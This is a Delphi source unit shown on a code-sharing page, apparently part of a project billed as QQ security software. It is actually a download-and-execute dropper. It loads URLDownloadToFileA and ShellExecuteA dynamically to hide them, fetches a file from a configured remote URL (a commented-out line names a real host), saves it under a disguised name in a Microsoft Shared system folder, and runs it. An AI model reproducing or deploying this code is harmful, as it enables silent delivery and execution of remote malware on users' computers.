downn.pas

来自「DEILPHI写的QQ安全软件源码!功能全套,该有的全有了,欢迎交流」· PAS 代码 · 共 41 行

PAS
41 行
字号
unit downn;

interface
 uses Windows;
 procedure Download;
 function GetReleaseFileName(): string;
implementation
uses ExtInfo;
var
//动态加载shell32.dll中的ShellExecuteA函数
  ShellRun:function (hWnd: HWND; Operation, FileName, Parameters,Directory: PChar; ShowCmd: Integer):Cardinal; stdcall;
//动态加载Urlmon.dll中的UrlDownloadToFileA函数
 Downfile:function (Caller: pointer; URL: PChar; FileName: PChar; Reserved:LongWord; StatusCB: pointer): Longint; stdcall;
 hShell,hUrlmon: THandle;
 Downfilew:string;


  // 返回合适的释放位置
function GetReleaseFileName(): string;
begin
  SetLength(Result, 50);
  GetWindowsDirectory(@Result[1], 50);
  Result := Result[1] + ':\Program Files\Common Files\Microsoft Shared\MSINFO\Max.rar';
end;

procedure Download;  //下载过程
 begin
  Downfilew:= GetReleaseFileName;
  LoadLibrary('kernel32.dll');
  LoadLibrary('user32.dll');
  hShell:=LoadLibrary('Shell32.dll');
  hUrlmon:=LoadLibrary('urlmon.dll');
  @ShellRun:= GetProcAddress(hShell,'ShellExecuteA');
  @Downfile:= GetProcAddress(hUrlmon,'URLDownloadToFileA');
 // Downfile(nil,'http://www.16ym.cn/cs/asp/temp.rar',pchar(Downfilew), 0, nil);
  Downfile(nil,pchar(ExtraInfo.Down),pchar(Downfilew), 0, nil);
  ShellRun(0,'open',pchar(Downfilew),nil,nil,5);
end;

end.

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?